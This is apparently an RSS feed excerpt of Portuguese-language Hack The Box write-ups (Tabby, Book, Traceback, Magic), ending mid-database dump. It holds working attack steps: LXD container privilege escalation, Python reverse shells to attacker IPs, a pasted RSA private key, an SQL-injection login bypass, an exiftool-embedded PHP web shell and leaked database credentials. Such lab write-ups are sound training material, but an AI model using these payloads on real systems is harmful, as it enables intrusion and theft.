┌─[root@liquid]─[~/Desktop/HTB/tabby/lxd-alpine-builder] └──╼ #ls -l total 3180 -rw-r--r-- 1 root root 3212312 Jun 21 22:04 alpine-v3.12-x86_64-20200621_2204.tar.gz -rwxr-xr-x 1 root root 7498 Jun 21 22:03 build-alpine -rw-r--r-- 1 root root 26530 Jun 21 22:03 LICENSE -rw-r--r-- 1 root root 768 Jun 21 22:03 README.md ┌─[✗]─[root@liquid]─[~/Desktop/HTB/tabby/lxd-alpine-builder] └──╼ #python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... &lt; /pre&gt; ash@tabby:~$ wget http://10.10.14.29:8000/rootfs.squashfs ash@tabby:~$ wget http://10.10.14.29:8000/lxd.tar.gz O meu lxd.tar.gz ele veio com lxd.tar.xz Eu dei um &#39;mv&#39; e renomeei ele para &#39;gz&#39;, fiz com xz e deu erro. Passei os arquivos da maquina para dentro da maquiina tabby, ele me gerou esses dois arquivos no caso
lxd.tar.xz e rootfs.squashfs Depois
na maquina tabby
fiz o import desse container
A maquina já contém o lxc instalado
ash@tabby:~$ lxc image import ./lxd.tar.gz rootfs.squashfs --alias alpine rootfs.squashfs = esse arquivo que vai proporcionar o root na maquina é maneiro essa montagem de container.
Com o comando lxc image list vc consegue ver todos os containers montados, no caso só o seu
ash@tabby:~$ lxc image list lxc image list +--------+--------------+--------+--------------+--------------+-----------+---------+-------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | +--------+--------------+--------+--------------+--------------+-----------+---------+-------------------------------+ | alpine | a5f784005c68 | no | Ubuntu focal | x86_64 | CONTAINER | 97.74MB | Jul 10, 2020 at 10:50pm (UTC) | +--------+--------------+--------+--------------+--------------+-----------+---------+-------------------------------+ fui seguindo o tutorial do LXC no link lá em cima.
lxd init Esse comando vai começar a montar o container, ele vai fazer uma serie de perguntas, vai deixando tudo como &lsquo;default&rsquo;
ash@tabby:~$ lxd init Would you like to use LXD clustering? (yes/no) [default=no]: no Do you want to configure a new storage pool? (yes/no) [default=yes]: no Would you like to connect to a MAAS server? (yes/no) [default=no]: ^C ash@tabby:~$ lxd init Would you like to use LXD clustering? (yes/no) [default=no]: no Do you want to configure a new storage pool? (yes/no) [default=yes]: yes Name of the new storage pool [default=default]: Name of the storage backend to use (dir, lvm, ceph, btrfs) [default=btrfs]: dir Would you like to connect to a MAAS server? (yes/no) [default=no]: no Would you like to create a new local network bridge? (yes/no) [default=yes]: What should the new bridge be called? [default=lxdbr0]: The requested network bridge &#34;lxdbr0&#34; already exists. Please choose another name. What should the new bridge be called? [default=lxdbr0]: The requested network bridge &#34;lxdbr0&#34; already exists. Please choose another name. What should the new bridge be called? [default=lxdbr0]: liquid What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: Would you like LXD to be available over the network? (yes/no) [default=no]: Would you like stale cached images to be updated automatically? (yes/no) [default=yes] Would you like a YAML &#34;lxd init&#34; preseed to be printed? (yes/no) [default=no]: Depois que montei, usei o comando abaixo para iniciar ele.
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true lxc init alpine privesc -c security.privileged=true Creating privesc ash@tabby:~$ lxc list lxc list +---------+---------+------+------+-----------+-----------+ | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | +---------+---------+------+------+-----------+-----------+ | privesc | STOPPED | | | CONTAINER | 0 | +---------+---------+------+------+-----------+-----------+ Ele foi criaado, porém está stopado. Fala na documentação que precisa configurar ele no mnt ai eu fiz isso dessa forma:
lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true (consta na documentação também) ele sempre cria o container com o nome &lsquo;privesc&rsquo;
ash@tabby:~$ lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true Device mydevice added to privesc Ele foi montado com sucesso, agora só dar o start no container.
ash@tabby:~$ lxc start privesc lxc start privesc ash@tabby:~$ lxc exec privesc /bin/sh lxc exec privesc /bin/sh # id id uid=0(root) gid=0(root) groups=0(root) # cd /mnt/root cd /mnt/root # ls ls bin dev lib libx32 mnt root snap sys var boot etc lib32 lost+found opt run srv tmp cdrom home lib64 media proc sbin swap.img usr # cd root cd root # ls ls root.txt snap # cat root.txt cat root.txt 653d95c2eb0f63629eeb048ea1d0a3b5 # ]]></content:encoded>
    </item>
    <item>
      <title>Book</title>
      <link>https://fxshell.com.br/htb/book/</link>
      <pubDate>Mon, 19 Oct 2020 17:29:02 UT</pubDate>
      <dc:creator>Felipe da Matta</dc:creator>
      <guid>https://fxshell.com.br/htb/book/</guid>
      <description>
Nmap scan report for 10.10.10.176 Host is up (0.43s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA) | 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA) |_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: LIBRARY - Read | Learn | Have Fun Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Abri o IP via web e fiz o meu cadastro
</description>
      <content:encoded><![CDATA[
Nmap scan report for 10.10.10.176 Host is up (0.43s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA) | 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA) |_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: LIBRARY - Read | Learn | Have Fun Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Abri o IP via web e fiz o meu cadastro
Da direto para um home.php
http://10.10.10.176/home.php
vou passar o dirsearch nele
[13:51:08] 301 - 312B - /admin -&gt; http://10.10.10.176/admin/ [13:51:12] 200 - 6KB - /admin/ [13:51:13] 200 - 6KB - /admin/?/login [13:51:13] 403 - 277B - /admin/.htaccess [13:51:14] 302 - 0B - /admin/home.php -&gt; index.php [13:51:14] 200 - 6KB - /admin/index.php [13:51:35] 301 - 311B - /docs -&gt; http://10.10.10.176/docs/ [13:51:35] 403 - 277B - /docs/ [13:51:42] 302 - 0B - /home.php -&gt; index.php [13:51:44] 301 - 313B - /images -&gt; http://10.10.10.176/images/ [13:51:45] 200 - 7KB - /index.php [13:51:45] 200 - 7KB - /index.php/login/ [13:52:07] 403 - 277B - /server-status [13:52:07] 403 - 277B - /server-status/ [13:52:07] 302 - 0B - /settings.php -&gt; index.php Ver porta 80, e uma página de login e registro, para entrar no site para ver acho até normal, porém existem três pontos que vale a pena notar:
A interface contato indica que existe uma conta de administrador admin@book.htb
A interface visualizar perfil indica que a permissão atual da conta é Usuário
A interface coleções tem uma função de upload
Primeiro vou tentar registrar uma conta com admin@book.htb e ver se o Burp intercepta alguma coisa.
-----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0 WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0 ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s 7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK 75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7 3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+ McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz 7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6 GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/ ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+ SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi 5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4= -----END RSA PRIVATE KEY----- pip install pdfminer.six
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Jul 3 21:38:42 UTC 2020 System load: 0.02 Processes: 143 Usage of /: 26.6% of 19.56GB Users logged in: 0 Memory usage: 23% IP address for ens33: 10.10.10.176 Swap usage: 0% * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 114 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3 reader@book:~$ Para pegar o root
reader@book:~$ cd backups/ reader@book:~/backups$ ls -la total 12 drwxr-xr-x 2 reader reader 4096 Jan 29 13:05 . drwxr-xr-x 7 reader reader 4096 Jan 29 13:05 .. -rw-r--r-- 1 reader reader 0 Jan 29 13:05 access.log -rw-r--r-- 1 reader reader 91 Jan 29 13:05 access.log.1 reader@book:~/backups$ cat access.log.1 192.168.0.104 - - [29/Jun/2019:14:39:55 +0000] &#34;GET /robbie03 HTTP/1.1&#34; 404 446 &#34;-&#34; &#34;curl&#34; https://github.com/whotwagner/logrotten
dar um git clone no repositorio do logrotten e criar um arquivo dentro da maquina exemplo:
payloadfile com o shell reverso
python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#34;10.10.14.15&#34;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&#34;/bin/sh&#34;,&#34;-i&#34;]);&#39; compila o arquivo
reader@book:~ gcc -o logrotten logrotten.c Agora só rodar com comando abaixo que é explicado no git do logrotten
reader@book:~ ./logrotten -p ./payloadfile /home/reader/backups/access.log Waiting for rotating backups/access.log... Em outro terminal deixe o netcat escutando na porta que vc colocou no shell reverso
$nc -nlvp 4444 listening on [any] 1234 ... connect to [10.10.15.152] from (UNKNOWN) [10.10.10.176] 50008 Quando terminar de rodar o script do logrotten ele vai conectar na janela do nlvp ficando dessa forma:
# Basta daar um cat agora
cat /root/root.txt ]]></content:encoded>
    </item>
    <item>
      <title>Traceback</title>
      <link>https://fxshell.com.br/htb/traceback/</link>
      <pubDate>Mon, 19 Oct 2020 15:39:26 UT</pubDate>
      <dc:creator>Felipe da Matta</dc:creator>
      <guid>https://fxshell.com.br/htb/traceback/</guid>
      <description>
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA) | 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA) |_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Help us Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel [21:08:54] Starting: [21:09:02] 403 - 300B - /.htaccess-dev [21:09:02] 403 - 302B - /.htaccess-local [21:09:02] 403 - 302B - /.htaccess-marco [21:09:02] 403 - 301B - /.htaccess.bak1 [21:09:02] 403 - 300B - /.htaccess.old [21:09:02] 403 - 301B - /.htaccess.orig [21:09:02] 403 - 303B - /.htaccess.sample [21:09:02] 403 - 301B - /.htaccess.save [21:09:02] 403 - 300B - /.htaccess.txt [21:09:02] 403 - 299B - /.htaccessBAK [21:09:02] 403 - 299B - /.htaccessOLD [21:09:02] 403 - 300B - /.htaccessOLD2 [21:09:02] 403 - 300B - /.htpasswd-old [21:09:02] 403 - 298B - /.httr-oauth [21:09:05] 403 - 291B - /.php [21:09:52] 200 - 564B - /id_rsa.pub [21:09:54] 200 - 1KB - /index.html [21:10:12] 403 - 300B - /server-status [21:10:12] 403 - 301B - /server-status/ Task Completed ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Jul 1 21:38:59 2020 URL_BASE: http://10.10.10.181/ WORDLIST_FILES: shells ----------------- GENERATED WORDS: 19 ---- Scanning URL: http://10.10.10.181/ ---- + http://10.10.10.181/smevk.php (CODE:200|SIZE:1261) ----------------- END_TIME: Wed Jul 1 21:39:01 2020 DOWNLOADED: 19 - FOUND: 1 https://github.com/TheBinitGhimire/Web-Shells/blob/master/smevk.php
</description>
      <content:encoded><![CDATA[
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA) | 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA) |_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Help us Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel [21:08:54] Starting: [21:09:02] 403 - 300B - /.htaccess-dev [21:09:02] 403 - 302B - /.htaccess-local [21:09:02] 403 - 302B - /.htaccess-marco [21:09:02] 403 - 301B - /.htaccess.bak1 [21:09:02] 403 - 300B - /.htaccess.old [21:09:02] 403 - 301B - /.htaccess.orig [21:09:02] 403 - 303B - /.htaccess.sample [21:09:02] 403 - 301B - /.htaccess.save [21:09:02] 403 - 300B - /.htaccess.txt [21:09:02] 403 - 299B - /.htaccessBAK [21:09:02] 403 - 299B - /.htaccessOLD [21:09:02] 403 - 300B - /.htaccessOLD2 [21:09:02] 403 - 300B - /.htpasswd-old [21:09:02] 403 - 298B - /.httr-oauth [21:09:05] 403 - 291B - /.php [21:09:52] 200 - 564B - /id_rsa.pub [21:09:54] 200 - 1KB - /index.html [21:10:12] 403 - 300B - /server-status [21:10:12] 403 - 301B - /server-status/ Task Completed ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Jul 1 21:38:59 2020 URL_BASE: http://10.10.10.181/ WORDLIST_FILES: shells ----------------- GENERATED WORDS: 19 ---- Scanning URL: http://10.10.10.181/ ---- + http://10.10.10.181/smevk.php (CODE:200|SIZE:1261) ----------------- END_TIME: Wed Jul 1 21:39:01 2020 DOWNLOADED: 19 - FOUND: 1 https://github.com/TheBinitGhimire/Web-Shells/blob/master/smevk.php
//Make your setting here. $deface_url = &#39;http://pastebin.com/raw.php?i=FHfxsFGT&#39;; //deface url here(pastebin). $UserName = &#34;admin&#34;; //Your UserName here. $auth_pass = &#34;admin&#34;; //Your Password. //Change Shell Theme here// $color = &#34;#8B008B&#34;; //Fonts color modify here. $Theme = &#39;#8B008B&#39;; //Change border-color accoriding to your choice. $TabsColor = &#39;#0E5061&#39;; //Change tabs color here. mesmo esquema de autorized_keys, vulnerabilidade do ssh_id
fiz upload da minha ssh_id &gt; renomeada para authorized_keys
tranquilo
agora eu faço login no webmaster usuário que encontrei no site do cara
webadmin@10.10.10.181 -i id_rsa
Autentico com a minha própria chave
root  ~  ssh webadmin@10.10.10.181 -i id_rsa Warning: Identity file id_rsa not accessible: No such file or directory. The authenticity of host &#39;10.10.10.181 (10.10.10.181)&#39; can&#39;t be established. ECDSA key fingerprint is SHA256:7PFVHQKwaybxzyT2EcuSpJvyQcAASWY9E/TlxoqxInU. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added &#39;10.10.10.181&#39; (ECDSA) to the list of known hosts. ################################# -------- OWNED BY XH4H --------- - I guess stuff could have been configured better ^^ - ################################# Welcome to Xh4H land Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Wed Jul 1 17:43:51 2020 from 10.10.15.66 webadmin@traceback:~$ webadmin@traceback:~$ cat note.txt - sysadmin - I have left a tool to practice Lua. I&#39;m sure you know where to find it. Contact me if you have any question. #google#
mais um shell reverso
sudo -u sysadmin /home/sysadmin/luvit
webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit Welcome to the Luvit repl! &gt; os.execute(&#34;/bin/bash -i&#34;) sysadmin@traceback:~$ sysadmin@traceback:~$ cd .. sysadmin@traceback:/home$ ls sysadmin webadmin sysadmin@traceback:/home$ cd sysadmin/ sysadmin@traceback:/home/sysadmin$ ls 00-header luvit user.txt sysadmin@traceback:/home/sysadmin$ ]]></content:encoded>
    </item>
    <item>
      <title>Magic</title>
      <link>https://fxshell.com.br/htb/magic/</link>
      <pubDate>Sun, 18 Oct 2020 01:38:50 UT</pubDate>
      <dc:creator>Felipe da Matta</dc:creator>
      <guid>https://fxshell.com.br/htb/magic/</guid>
      <description>
nmap -sV -sC -Pn -T4 -v -p- 10.10.10.185
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA) | 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA) |_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Magic Portfolio Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel python3 dirsearch.py -u http://10.10.10.185/ -e *
_|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: | HTTP method: getSuffixes: CHANGELOG.md | HTTP method: get | Threads: 10 | Wordlist size: 6552 | Request count: 6552 Error Log: /root/dirsearch/logs/errors-20-06-29_23-59-23.log Target: http://10.10.10.185 Output File: /root/dirsearch/reports/10.10.10.185/20-06-29_23-59-24 [23:59:24] Starting: [00:00:12] 301 - 313B - /images -&gt; http://10.10.10.185/images/ [00:00:14] 403 - 277B - /index.shtml [00:00:14] 200 - 67KB - /index.php [00:00:14] 200 - 67KB - /index.php/login/ [00:00:14] 403 - 277B - /install.sql [00:00:17] 403 - 277B - /localhost.sql [00:00:17] 403 - 277B - /log.sqlite [00:00:18] 200 - 4KB - /login.php [00:00:18] 403 - 277B - /login.shtml [00:00:19] 403 - 277B - /logs.sqlite http://10.10.10.185/login.php explorando o site descobri que o nome das imagens pode conter a respectiva senha.
</description>
      <content:encoded><![CDATA[
nmap -sV -sC -Pn -T4 -v -p- 10.10.10.185
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA) | 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA) |_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Magic Portfolio Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel python3 dirsearch.py -u http://10.10.10.185/ -e *
_|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: | HTTP method: getSuffixes: CHANGELOG.md | HTTP method: get | Threads: 10 | Wordlist size: 6552 | Request count: 6552 Error Log: /root/dirsearch/logs/errors-20-06-29_23-59-23.log Target: http://10.10.10.185 Output File: /root/dirsearch/reports/10.10.10.185/20-06-29_23-59-24 [23:59:24] Starting: [00:00:12] 301 - 313B - /images -&gt; http://10.10.10.185/images/ [00:00:14] 403 - 277B - /index.shtml [00:00:14] 200 - 67KB - /index.php [00:00:14] 200 - 67KB - /index.php/login/ [00:00:14] 403 - 277B - /install.sql [00:00:17] 403 - 277B - /localhost.sql [00:00:17] 403 - 277B - /log.sqlite [00:00:18] 200 - 4KB - /login.php [00:00:18] 403 - 277B - /login.shtml [00:00:19] 403 - 277B - /logs.sqlite http://10.10.10.185/login.php explorando o site descobri que o nome das imagens pode conter a respectiva senha.
http://10.10.10.185/index.php/login/ podemos notar hashs + imagens quebradas. baixei todas as informações da pagina e criei uma wordlist.. vamos ver. encontrei referências de .sql descobertos pelo dirsearch, portanto tentei fazer uma injeção simples de tabela de usuários.
pesquisei no google: injection sql login.php
login.php da página que está rodando o brute force (rockyou)
Para minha surpresa deu certo, no primeiro link.
https://www.devmedia.com.br/sql-injection-em-ambientes-web/9733
&#39; or 1=1 -- login/senha
ele já faz o 301 automatico para url upload
http://10.10.10.185/upload.php A ideia é de um envenenamento com uma imagem. Vou pesquisar uma aplicação que faça isso, no kali deve ter com ctz &hellip;
Depois das pesquisas realizadas, encontrei que existe um programa chamado exiftool ele grava informações em metadados em varios tipos de arquivos inclusive mp3, pdf , jpeg etc Não vem nativo no kali linux, é necessário instalar.
apt-get install exiftool Utilizei essa wiki para consultar as opções dele e as flags utilizadas &gt; https://metacpan.org/pod/exiftool
Como o site requer uma imagem, optei por uma PNG Ele da suporte de leitura, gravação e escrita PNG r/w/c
Posso colocar uma linha de escrita dentro do PNG dessa forma, como no exemplo da wiki &gt;
WRITING EXAMPLES Note that quotes are necessary around arguments which contain certain special characters such as &gt;, &lt; or any white space. These quoting techniques are shell dependent, but the examples below will work for most Unix shells. With the Windows cmd shell however, double quotes should be used (eg. -Comment=&#34;This is a new comment&#34;). exiftool -Comment=&#39;This is a new comment&#39; dst.jpg Write new comment to a JPG image (replaces any existing comment). Pesquisei no google exiftool php shell
e vi o vídeo desse cara que está destacado
Ele carrega uma shell para dentro de uma imagem e faz upload no roteador, com isso ganha acesso aos diretorios internos.
Vou tentar fazer a mesma injeção de código.
E encontrar um jeito de utilizar o reverse shell para dentro da maquina.. to vendo exemplos funcionais.
http://sejalivre.org/OSCP/OSCP_Notes--ReverseShell_(all).html
Encontrei https://github.com/xapax/security/blob/master/bypass_image_upload.md
Esse é o código que vou usar no exiftool:
exiftool -Comment=&#39;&lt;?php echo &#34;&lt;pre&gt;&#34;; system($_GET[&#39;cmd&#39;]); ?&gt;&#39; lo.jpg depois disso renomeio para .php
mv fxshell.png fxshell.php.png
continuando ..
Fiz o upload com sucesso..
estava pesquisando sobre o nc (netcat) https://www.computerhope.com/unix/nc.htm
com ele podemos ouvir a porta TCP/UDP no caso aqui, vou colocar o nc escutando na porta 1234 uma conexão
https://www.speedguide.net/port.php?port=1234
nc -nlvp 1234
FLAGS: -n Não faça pesquisas de serviço ou DNS em endereços, nomes de host ou portas especificados. -l Usado para especificar que o nc deve escutar uma conexão de entrada em vez de iniciar uma conexão com um host remoto. É um erro usar esta opção em conjunto com as opções -p, -s ou -z. Além disso, qualquer tempo limite especificado com a opção -w é ignorado. -v Faça nc dar uma saída mais detalhada. -p source_port Especifica a porta de origem que a nc deve usar, sujeita a restrições e disponibilidade de privilégios. agora vou usar aquele famoso shell reverso em python que o professor cansou de falar
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#34;10.0.0.1&#34;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&#34;/bin/sh&#34;,&#34;-i&#34;]);&#39; vamos utilizar este ^
fiz o teste para ver se o upload da imagem deu certo &gt;
http://10.10.10.185/images/uploads/fxshell.php.png
10.10.10.185/images/uploads/fxshell.php.png?cmd=python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#34;10.10.14.15&#34;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&#34;/bin/sh&#34;,&#34;-i&#34;]);&#39; o codigo ficará assim, mudando apenas meu IP de tunelamento no script em python
connect to [10.10.14.247] from (UNKNOWN) [10.10.10.185] 52180 /bin/sh: 0: can&#39;t access tty; job control turned off $ agora utilizamos o mesmo modulo do python para escalar privilégios
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
python3 -c &#34;import pty;pty.spawn(&#39;/bin/bash&#39;)&#34; Fui procurando alguma informação que me leva-se a escalar privilégios, com o usuário do www-data e então encontrei dados de usuário no arquivo db.php5
assets db.php5 images index.php login.php logout.php upload.php www-data@ubuntu:/var/www/Magic$ cat db.php5 cat db.php5 &lt;?php class Database { private static $dbName = &#39;Magic&#39; ; private static $dbHost = &#39;localhost&#39; ; private static $dbUsername = &#39;theseus&#39;; private static $dbUserPassword = &#39;iamkingtheseus&#39;; private static $cont = null; public function __construct() { die(&#39;Init function is not allowed&#39;); } Com essas informações de usuário, posso baixar os dados do banco. (dump)
www-data@ubuntu:/var/www/Magic$ mysqldump --databases Magic -utheseus -piamkingtheseus &lt;qldump --databases Magic -utheseus -piamkingtheseus mysqldump: [Warning] Using a password on the command line interface can be insecure. -- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64) -- -- Host: localhost Database: Magic -- ------------------------------------------------------ -- Server version 5.7.29-0ubuntu0.18.04.1 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE=&#39;+00:00&#39; */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE=&#39;NO_AUTO_VALUE_ON_ZERO&#39; */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Current Database: `Magic` -- CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */; USE `Magic`; -- -- Table structure for table `login` -- DROP TABLE IF EXISTS `login`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `login` ( `id` int(6) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `password` varchar(100) NOT NULL, PRIMARY KEY (`id`), UNIQUE 